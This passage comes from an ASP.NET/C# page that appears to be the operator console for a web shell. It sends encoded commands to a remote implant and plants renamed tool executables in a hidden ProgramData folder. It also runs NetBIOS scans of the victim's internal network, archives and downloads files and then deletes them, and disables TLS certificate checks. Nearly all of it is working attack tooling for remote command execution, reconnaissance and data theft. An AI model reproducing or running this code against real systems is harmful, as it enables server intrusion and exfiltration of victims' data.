}\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"url\", tb(url));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (!string.IsNullOrEmpty(p) && !string.IsNullOrEmpty(url))\r\n                {\r\n\r\n                    SpecialScript = \"$('#btnLogin').click();\";\r\n\r\n                    //string HtmlResult = SendRequest(url, new NameValueCollection() {\r\n                    //        { \"m\", ((int)method.auth).ToString()},\r\n                    //        { \"p\", p}\r\n                    //    });\r\n\r\n                    //if (HtmlResult == \"True\")\r\n                    //{\r\n                    //    ret = \"Login successful\" + Environment.NewLine;\r\n                    //    loginStyle = \"login\";\r\n                    //    getLoc();\r\n                    //    SpecialScript = \"document.getElementById('chkModules').click();\";\r\n                    //}\r\n                    //else\r\n                    //{\r\n                    //    ret = \"Login failed\" + Environment.NewLine;\r\n                    //    loginStyle = \"logout\";\r\n                    //}\r\n\r\n                    //HttpCookie coo = new HttpCookie(\"loginStyle\", tb(loginStyle));\r\n                    //coo.Expires = DateTime.Now.AddDays(1);\r\n                    //HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n        void response(string res)\r\n        {\r\n            log.InnerHtml = res;\r\n        }\r\n        void responseAjax(string res)\r\n        {\r\n            Response.Clear();\r\n            Response.Write(tb(res));\r\n            Response.Flush();\r\n            Response.SuppressContent = true;\r\n            ApplicationInstance.CompleteRequest();\r\n        }\r\n\r\n        void getLoc()\r\n        {\r\n            loc = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", ((int)method.getlocation).ToString()},\r\n                { \"p\", p}\r\n            });\r\n        }\r\n\r\n        void spycheck(string location)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string[] parts1 = url.Split('/');\r\n                string filename = location + parts1[parts1.Length - 1].Split('?')[0];\r\n                if (!filename.EndsWith(\".aspx\"))\r\n                    filename += \".aspx\";\r\n                string filetext = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"type \\\"{0}\\\"\",filename))}\r\n                });\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Substring(filetext.IndexOf(\"&lt;%@\"));\r\n                string f = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(filetext)));\r\n                if (\"wekE4IIbVM9Or+s+Dt97yKSrkMvJvUzw22QA2cuaz7w=\" == Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(filetext))))\r\n                    ret = \"True\";\r\n                else\r\n                {\r\n                    ret = \"False\";\r\n\r\n                    Uri myUri = new Uri(url);\r\n                    string host = myUri.Host;\r\n\r\n                    string path = SpyCheckLocation + host + \"\\\\\";\r\n\r\n                    if (!Directory.Exists(path))\r\n                        Directory.CreateDirectory(path);\r\n\r\n                    File.WriteAllText(path + Path.GetFileNameWithoutExtension(myUri.AbsolutePath) + \"_\" + DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\") + Path.GetExtension(myUri.AbsolutePath), HttpUtility.HtmlDecode(filetext));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        void command(string cmd)\r\n        {\r\n            SpecialScript = @\"\r\n$('#inpCmd').val(b64DecodeUnicode('\" + tb(cmd) + @\"'));\r\ncommand($('#inpCmd').get(0));\";\r\n        }\r\n\r\n        private string CheckDirectory(string url, string dirPath)\r\n        {\r\n            string newPath = string.Empty;\r\n\r\n            if (!dirPath.EndsWith(\"\\\\\"))\r\n                dirPath += \"\\\\\";\r\n\r\n            Uri myUri = new Uri(url);\r\n            string host = myUri.Host;\r\n\r\n            newPath = dirPath + host + \"\\\\\";\r\n\r\n            if (!Directory.Exists(newPath))\r\n                Directory.CreateDirectory(newPath);\r\n\r\n            //if (!Directory.Exists(DownloadTemp))\r\n            //    Directory.CreateDirectory(DownloadTemp);\r\n\r\n            return newPath;\r\n        }\r\n\r\n        class NbtComputer\r\n        {\r\n            public string IP { get; set; }\r\n            public string Domain { get; set; }\r\n            public string ComputerName { get; set; }\r\n            public List<string> Props { get; set; }\r\n            public string Mac { get; set; }\r\n            public string FullDomain { get; set; }\r\n        }\r\n        class NbtResult\r\n        {\r\n            public string Log { get; set; }\r\n            public List<NbtComputer> NbtComputers { get; set; }\r\n        }\r\n\r\n        private void getIPFromNbt(string mode, string input)\r\n        {\r\n            NbtResult nbtresult = new NbtResult();\r\n            nbtresult.NbtComputers = new List<NbtComputer>();\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                List<string> IPs = new List<string>();\r\n\r\n                if (mode == \"ipconfig\")\r\n                {\r\n                    string ipconfig = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(\"ipconfig /all 2>&1\"))}\r\n                    });\r\n\r\n                    Regex rxIPconfig = new Regex(@\"(IPv4 Address)[\\.\\s]+:\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\");\r\n                    foreach (Match match in rxIPconfig.Matches(ipconfig))\r\n                    {\r\n                        IPs.Add(match.Groups[2].Value + \"/24\");\r\n                    }\r\n\r\n                    //nbtresult.Log = \"IPs that gatter from ipconfig /all :\" + Environment.NewLine;\r\n                }\r\n                else\r\n                {\r\n                    string[] tempSplit = input.Split(',');\r\n                    foreach (string item in tempSplit)\r\n                    {\r\n                        IPs.Add(item);\r\n                    }\r\n                }\r\n\r\n                //foreach (string ip in IPs)\r\n                //{\r\n                //    nbtresult.Log += ip + Environment.NewLine;\r\n                //}\r\n                //nbtresult.Log += Environment.NewLine + \"try nbt on this IPs :\" + Environment.NewLine;\r\n\r\n                foreach (string ip in IPs)\r\n                {\r\n                    int count = 0;\r\n                    string nbtResult = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(@\"{0} -f {1} 2>&1\", moduleFolder + ModuleFileNameTarget[ModuleName.mdlnbt.ToString()].Value,ip))}\r\n                    });\r\n\r\n                    Regex rxNbtResult = new Regex(@\"(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(\\S*)(\\s+\\w+)+\\r\\n(\\s+\\S+\\s+\\S+\\s+\\w+\\s+[\\w|\\s]+\\r\\n)+\\s+(\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2})\\s+\\w+\\s+(\\S+)\\r\\n\");\r\n                    foreach (Match item in rxNbtResult.Matches(nbtResult))\r\n                    {\r\n                        count++;\r\n                        NbtComputer nc = new NbtComputer();\r\n                        nc.IP = item.Groups[1].Value;\r\n                        nc.Domain = item.Groups[2].Value.Split('\\\\')[0];\r\n                        nc.ComputerName = item.Groups[2].Value.Split('\\\\')[1];\r\n                        nc.Props = new List<string>();\r\n                        foreach (Capture c in item.Groups[3].Captures)\r\n                        {\r\n                            nc.Props.Add(c.Value.Trim());\r\n                        }\r\n                        nc.Mac = item.Groups[5].Value;\r\n                        nc.FullDomain = item.Groups[6].Value;\r\n\r\n                        nbtresult.NbtComputers.Add(nc);\r\n                    }\r\n                    nbtresult.Log += ip + \" -> \" + count + Environment.NewLine;\r\n                }\r\n\r\n                ret = JsonConvert.SerializeObject(nbtresult);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        enum DownloadStatus\r\n        {\r\n            Requested,\r\n            Downloading,\r\n            Pause,\r\n            Error,\r\n            Complete\r\n        }\r\n        private void DownloadUpdateStatus(string localPath, string downloadguid, DownloadStatus status, DateTime startDate, long totalsize, long downloadedsize)\r\n        {\r\n            //string text = string.Format(\"{0}{1}{2}{3}\",\r\n            //        status.ToString() + Environment.NewLine,\r\n            //        startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine,\r\n            //        totalsize.ToString() + Environment.NewLine,\r\n            //        downloadedsize.ToString() + Environment.NewLine\r\n            //        );\r\n\r\n            NameValueCollection data = new NameValueCollection() {\r\n                { \"status\", status.ToString()},\r\n                { \"startdate\", startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\")},\r\n                { \"totalsize\", totalsize.ToString()},\r\n                { \"downloadedsize\", downloadedsize.ToString()}\r\n            };\r\n\r\n            Session[downloadguid] = data;\r\n\r\n            //File.AppendAllText(DownloadTemp + Path.GetFileName(localPath), text);\r\n\r\n            //using(TextWriter txtWriter = new StreamWriter(File.Open(DownloadTemp + Path.GetFileName(localPath), FileMode.Truncate)))\r\n            //{\r\n            //    txtWriter.Write(text);\r\n            //}\r\n\r\n            //using (TextWriter fs = new FileStream(DownloadTemp + Path.GetFileName(localPath), FileMode.Open, FileAccess.Write, FileShare.ReadWrite))\r\n            //{\r\n            //    using (var sr = new StreamWriter(fs, Encoding.Default))\r\n            //    {\r\n            //        // read the stream\r\n            //        //...\r\n            //    }\r\n            //}\r\n\r\n        }\r\n\r\n        private string DownLoadFileByWebRequest(string urlAddress, string localPath, string downloadguid, NameValueCollection postParam)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                DateTime StartDate = DateTime.Now;\r\n                HttpWebRequest request = null;\r\n                HttpWebResponse response = null;\r\n                request = (HttpWebRequest)HttpWebRequest.Create(urlAddress);\r\n                request.Timeout = 30000;  //8000 Not work\r\n                request.Method = \"POST\";\r\n                StringBuilder postBuilder = new StringBuilder();\r\n                for (int i = 0; i < postParam.Count; i++)\r\n                {\r\n                    postBuilder.AppendFormat(\"{0}={1}\", Uri.EscapeDataString(postParam.GetKey(i)), Uri.EscapeDataString(tb(postParam.Get(i))));\r\n                    if (i < postParam.Count - 1)\r\n                    {\r\n                        postBuilder.Append(\"&\");\r\n                    }\r\n                }\r\n                byte[] postBytes = Encoding.ASCII.GetBytes(postBuilder.ToString());\r\n                request.ContentLength = postBytes.Length;\r\n                request.ContentType = \"application/x-www-form-urlencoded\";\r\n                var stream = request.GetRequestStream();\r\n                stream.Write(postBytes, 0, postBytes.Length);\r\n                stream.Close();\r\n                stream.Dispose();\r\n\r\n                response = (HttpWebResponse)request.GetResponse();\r\n                ContentDisposition disposition = new ContentDisposition(response.Headers[\"content-disposition\"]);\r\n                long fileSize = disposition.Size;\r\n                Stream s = response.GetResponseStream();\r\n\r\n                FileStream os = new FileStream(localPath, FileMode.OpenOrCreate, FileAccess.Write);\r\n                byte[] buff = new byte[8 * 1024];\r\n                int c = 0;\r\n                long totalGet = 0;\r\n                //long lastUpdateSize = 0;\r\n                //DateTime lastUpdateTime = StartDate;\r\n                while ((c = s.Read(buff, 0, buff.Length)) > 0)\r\n                {\r\n                    totalGet += c;\r\n\r\n                    os.Write(buff, 0, c);\r\n                    os.Flush();\r\n                    //DateTime saveTime = DateTime.Now;\r\n                    //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, lastUpdateTime, saveTime, fileSize, totalGet, lastUpdateSize);\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, fileSize, totalGet);\r\n                    //if (totalGet < fileSize)\r\n                    //{\r\n                    //    lastUpdateSize = totalGet;\r\n                    //    lastUpdateTime = saveTime;\r\n                    //}\r\n                }\r\n                os.Close();\r\n                s.Close();\r\n\r\n                //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, lastUpdateTime, DateTime.Now, fileSize, totalGet, lastUpdateSize);\r\n                DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, fileSize, totalGet);\r\n\r\n                ret = (string.Format(\"File \\\"{0}\\\" successfuly downloaded : \\\"{1}\\\"\", Path.GetFileName(localPath), localPath));\r\n\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            return ret;\r\n        }\r\n        void downloadTest(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n                if (!ret.ToLower().StartsWith(\"error\"))\r\n                {\r\n                    string filePath = DownloadLocation;\r\n                    filePath = CheckDirectory(url, filePath);\r\n\r\n                    string filename = Path.GetFileName(unpack(t[\"don\"]));\r\n                    string localPath = filePath + filename;\r\n                    int fileIndex = 1;\r\n                    while (File.Exists(localPath))\r\n                    {\r\n                        localPath = filePath + Path.GetFileNameWithoutExtension(filename) + \"(\" + (fileIndex++) + \")\" + Path.GetExtension(filename);\r\n                    }\r\n\r\n                    CreateEmptyFile(localPath);\r\n                    string downloadguid = Guid.NewGuid().ToString();\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Requested, DateTime.Now, 0, 0);\r\n                    ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"localPath\\\":\\\"{1}\\\",\\\"downloadguid\\\":\\\"{2}\\\"}}\", tb(ret), tb(localPath), tb(downloadguid));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        void download(string don, string isdelete, string localPath, string downloadguid)\r\n        {\r\n            string ret = \"true\";\r\n\r\n            try\r\n            {\r\n                ret = DownLoadFileByWebRequest(url, localPath, downloadguid, new NameValueCollection() {\r\n                    { \"m\", ((int)method.download).ToString()},\r\n                    { \"p\", p},\r\n                    { \"don\", don}\r\n                });\r\n\r\n                if (isdelete.ToLower() == \"true\")\r\n                {\r\n                    string cmd = \"del \\\"\" + don + \"\\\" 2>&1\";\r\n                    ret += Environment.NewLine + SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(cmd)}\r\n                    });\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            //responseAjax(ret);\r\n        }\r\n\r\n        void checkDownloadProgress(string downloadguid, string lastsizestr, string lasttimestr)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string status = \"NotSet\";\r\n                double Percent = 0;\r\n                string Size = \"-\";\r\n                string Speed = \"-\";\r\n                string Remain = \"-\";\r\n                long LastSize = long.Parse(lastsizestr);\r\n                DateTime Now = DateTime.Now;\r\n                DateTime LastTime = Now;\r\n                if (lasttimestr != \"0\")\r\n                    LastTime = DateTime.Parse(lasttimestr);\r\n\r\n                if (Session[downloadguid] != null)\r\n                {\r\n                    NameValueCollection data = (NameValueCollection)Session[downloadguid];\r\n                    status = data[\"status\"];\r\n\r\n                    if (status != DownloadStatus.Requested.ToString())\r\n                    {\r\n                        DateTime timeStart = DateTime.Parse(data[\"startdate\"]);\r\n                        long total = long.Parse(data[\"totalsize\"]);\r\n                        long get = long.Parse(data[\"downloadedsize\"]);\r\n\r\n                        Percent = Math.Round(((double)get / total) * 100, 2);\r\n                        Size = sizeFix(get) + \" of \" + sizeFix(total);\r\n\r\n                        double diff = 1;\r\n                        if (lasttimestr == \"0\")\r\n                            diff = (Now - timeStart).TotalSeconds;\r\n                        else\r\n                            diff = (Now - LastTime).TotalSeconds;\r\n\r\n                        double s = (double)((get - LastSize) / diff);\r\n                        Speed = sizeFix((long)s, true) + \"/sec\";\r\n                        if (status == DownloadStatus.Complete.ToString())\r\n                        {\r\n                            Remain = timeFix((long)(Now - timeStart).TotalMilliseconds);\r\n                            Session.Remove(downloadguid);\r\n                        }\r\n                        else\r\n                            Remain = timeFix((long)((total - get) / s * 1000)) + \" left\";\r\n\r\n                        lastsizestr = get.ToString();\r\n                        lasttimestr = Now.ToString(\"yyyy-MM-dd HH:mm:ss.fff\");\r\n                    }\r\n                }\r\n\r\n                ret = string.Format(\"{{\\\"status\\\":\\\"{0}\\\",\\\"percent\\\":\\\"{1}\\\",\\\"size\\\":\\\"{2}\\\",\\\"speed\\\":\\\"{3}\\\",\\\"remain\\\":\\\"{4}\\\",\\\"lastsize\\\":\\\"{5}\\\",\\\"lasttime\\\":\\\"{6}\\\"}}\", status, Percent, Size, Speed, Remain, tb(lastsizestr), tb(lasttimestr));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n\r\n        #region [ Modules ]\r\n        string moduleFolder = @\"C:\\ProgramData\\Microsoft\\SettingsTools\\\";\r\n        KeyValueConfigurationCollection ModuleFileName = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"7za.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"rx.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"nbt.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"hb.exe\"}\r\n        };\r\n        KeyValueConfigurationCollection ModuleFileNameTarget = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"fqrzb.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"nhrf.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"qbtup.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"tysrr.exe\"}\r\n        };\r\n        enum ModuleName\r\n        {\r\n            mdl7z,\r\n            mdlrx,\r\n            mdlnbt,\r\n            mdlhb\r\n        };\r\n        void checkModules()\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\"\",moduleFolder))}\r\n                });\r\n\r\n                ret = \"{\\\"modules\\\":[\";\r\n                string mdlList = string.Empty;\r\n                if (dirModule.Contains(ModuleFileNameTarget[ModuleName.mdl7z.ToString()].Value))\r\n                    mdlList += string.Format(\"\\\"{0}\\\"\",ModuleName.mdl7z.ToString());\r\n                if (dirModule.Contains(ModuleFileNameTarget[ModuleName.mdlrx.ToString()].Value))\r\n                {\r\n                    if (!string.IsNullOrEmpty(mdlList))\r\n                        mdlList += \",\";\r\n                    mdlList += string.Format(\"\\\"{0}\\\"\",ModuleName.mdlrx.ToString());\r\n                }\r\n                if (dirModule.Contains(ModuleFileNameTarget[ModuleName.mdlnbt.ToString()].Value))\r\n                {\r\n                    if (!string.IsNullOrEmpty(mdlList))\r\n                        mdlList += \",\";\r\n                    mdlList += string.Format(\"\\\"{0}\\\"\",ModuleName.mdlnbt.ToString());\r\n                }\r\n                if (dirModule.Contains(ModuleFileNameTarget[ModuleName.mdlhb.ToString()].Value))\r\n                {\r\n                    if (!string.IsNullOrEmpty(mdlList))\r\n                        mdlList += \",\";\r\n                    mdlList += string.Format(\"\\\"{0}\\\"\",ModuleName.mdlhb.ToString());\r\n                }\r\n                ret += mdlList + \"]}\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        // the Old server side installModule\r\n        //void installModule(HttpPostedFile mfile, string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        if (!System.IO.Directory.Exists(moduleFolder))\r\n        //        {\r\n        //            System.IO.DirectoryInfo di = System.IO.Directory.CreateDirectory(moduleFolder);\r\n        //            di.Attributes = System.IO.FileAttributes.Directory | System.IO.FileAttributes.Hidden;\r\n        //        }\r\n\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlhb\")\r\n        //        {\r\n        //            name = \"hb\";\r\n        //            path = moduleFolder + \"\\\\h.exe\";\r\n        //        }\r\n\r\n        //        mfile.SaveAs(path);\r\n        //        ret = \"Module '\" + name + \"' installed successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n        //    response(ret);\r\n        //}\r\n        void installModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n\r\n            try\r\n            {\r\n                string targetFileName = string.Empty;\r\n                string filePath = Server.MapPath(string.Empty) + \"\\\\files\\\\\";\r\n\r\n                filePath += ModuleFileName[moduleName].Value;\r\n                targetFileName = ModuleFileNameTarget[moduleName].Value;\r\n\r\n                if (!string.IsNullOrEmpty(targetFileName))\r\n                {\r\n                    List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n                    formData.Add(new KeyValuePair<string, string>(\"uploadPath\", moduleFolder + targetFileName));\r\n                    formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n                    formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n                    using (Stream fStream = File.OpenRead(filePath))\r\n                    {\r\n                        ret = UploadFile(fStream, Path.GetFileName(filePath), \"uploadFile\", formData);\r\n                        if (ret.Contains(\"successfully\"))\r\n                            ret = \"Module '\" + moduleFolder + targetFileName + \"' installed successfuly.\";\r\n                    }\r\n                }\r\n                else\r\n                    ret = \"Error : Module name is invalid\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        //void uninstallModule(string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n\r\n        //        System.IO.File.Delete(path);\r\n        //        ret = \"Module '\" + name + \"' uninstalled successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n\r\n        //    response(ret);\r\n        //}\r\n        void uninstallModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string modulePath = moduleFolder + ModuleFileNameTarget[moduleName].Value;\r\n                SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"del \\\"{0}\\\"\",modulePath))}\r\n                });\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\" 2>&1\",modulePath))}\r\n                });\r\n                if(dirModule.Contains(\"File Not Found\"))\r\n                    ret = \"Module '\" + modulePath + \"' uninstalled successfuly.\";\r\n                else\r\n                    ret = \"Error : Cannot uninstall module : \" + modulePath;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        #endregion\r\n\r\n        void cmd7z(string clevel, string address7z, string files, string volumSize, string vMode, string exclude)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string exludeStr = string.Empty;\r\n                if (!string.IsNullOrEmpty(exclude))\r\n                {\r\n                    string[] temp = exclude.Split(',');\r\n                    foreach (string item in temp)\r\n                    {\r\n                        exludeStr += \" -xr!\" + item;\r\n                    }\r\n                }\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", tb(((int)method.command).ToString())},\r\n                { \"p\", tb(p)},\r\n                { \"cmd\", tb(string.Format(\"{0} {1} a \\\"{2}\\\" {3}{4}{5} 2>&1\",\r\n                    moduleFolder + ModuleFileNameTarget[ModuleName.mdl7z.ToString()].Value,\r\n                    clevel,\r\n                    address7z,\r\n                    files,\r\n                    (string.IsNullOrEmpty(volumSize) ? \"\" : \"-v\" + volumSize + vMode),\r\n                    exludeStr\r\n                    )\r\n                )}\r\n            });\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n\r\n\r\n        string SendRequest(string url, NameValueCollection values)\r\n        {\r\n            string response = string.Empty;\r\n\r\n            string param = string.Empty;\r\n\r\n            foreach (var item in values.AllKeys)\r\n            {\r\n                if (!string.IsNullOrEmpty(param))\r\n                    param += \"&\";\r\n                param += item + \"=\" + System.Web.HttpUtility.UrlEncode(isAjax ? values[item] : tb(values[item]));\r\n            }\r\n\r\n            using (WebClient wc = new WebClient())\r\n            {\r\n                ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n                wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n                response = fb(wc.UploadString(url, param));\r\n            }\r\n\r\n            return response;\r\n        }\r\n\r\n        public static void CreateEmptyFile(string filename)\r\n        {\r\n            File.Create(filename).Dispose();\r\n        }\r\n\r\n        string sizeFix(long size, bool round = false)\r\n        {\r\n            double s = size;\r\n            if (s < 1024)\r\n                return s + \"B\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"KB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"MB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"GB\";\r\n            s = s / 1024;\r\n            return (round ? (int)s : Math.Round(s, 2)) + \"TB\";\r\n        }\r\n\r\n        string timeFix(long msec)\r\n        {\r\n            double s = msec;\r\n            if (s < 1000) return (int)s + \" msec\";\r\n            s = s / 1000;\r\n            if (s < 60) return (int)s + \" sec\";\r\n            s = s / 60;\r\n            if (s < 60) return (int)s + \" min\";\r\n            s = s / 60;\r\n            if (s < 24) return (int)s + \" hour\";\r\n            s = s / 24;\r\n            if (s < 365) return (int)s + \" day\";\r\n            s = s / 365;\r\n            return (int)s + \" year\";\r\n        }\r\n\r\n    </script>\r\n</head>\r\n<body>\r\n    <div class=\"pusher contentPlace\" style=\"/*flex-grow: 1; flex-direction: column; display: flex; */\">\r\n        <div id=\"header\">\r\n            <div style=\"border: 1px solid #ccc; margin-bottom: 10px; background-color: #aaa;\">\r\n                <input type=\"hidden\" name=\"m\" value=\"0\" />\r\n                <table style=\"width: 100%\">\r\n                    <tr>\r\n                        <td class=\"h\">Login</td>\r\n                        <td class=\"b\" style=\"width: 604px;\">\r\n                            <table>\r\n                                <tr>\r\n                                    <td>\r\n                                        <form method=\"post\">\r\n                                            <table>\r\n                                                <tr>\r\n                                                    <td>\r\n                                                        <div class=\"ui input\">\r\n                                                            <input class=\"<%= loginStyle %>\" id=\"url\" name=\"url\" type=\"text\" value='<%= url %>' style=\"width: 500px;\" onkeypress=\"return grabEnter(event, this);\" />\r\n                                                        </div>\r\n                                                    </td>\r\n                                                    <td>\r\n                                                        <button title=\"Login\" class=\"ui compact icon ml5 button primary\" id=\"btnLogin\" onclick=\"login(this);return false;\"><i class=\"large Sign In icon\" style=\"margin: 0\"></i></button>\r\n                                                    </td>\r\n                                                    <td>\r\n                                                        <button title=\"Logout\" class=\"ui compact icon ml5 button primary\" onclick=\"logout(this);return false;\"><i class=\"large Sign Out icon\" style=\"margin: 0\"></i></button>\r\n                                                    </td>\r\n                                                </tr>\r\n                                            </table>\r\n                                        </form>\r\n                                    </td>\r\n                                </tr>\r\n                            </table>\r\n                        </td>\r\n                        <td class=\"h\" style=\"border-left: 1px solid #ddd;\">Location</td>\r\n                        <td class=\"b\">\r\n                            <div class=\"ui left icon input\" style=\"width: 100%;\">\r\n                                <span id=\"loc\" class=\"ui Large label ml5\" style=\"cursor: pointer; padding: 11px 5px 11px 42px\" onclick=\"copyLoc()\"><%= loc %></span>\r\n                                <i class=\"large Copy icon\"></i>\r\n                            </div>\r\n                        </td>\r\n                        <td style=\"text-align: right\">\r\n                            <div class=\"ui labeled button ml5\">\r\n                                <button id=\"mdlspy\" class=\"ui compact labeled icon button\" onclick=\"spycheck(this);\"><i class=\"large Empty Heart icon\"></i>Spy Check</button>\r\n                                <a id=\"mdlspyTimer\" class=\"ui basic label\" style=\"cursor: auto; border: none\">60</a>\r\n                            </div>\r\n                        </td>\r\n                        <td style=\"width: 115px\">\r\n                            <span class=\"ui Large label ml5\" style=\"padding-top: 11px; padding-bottom: 11px;\">Version 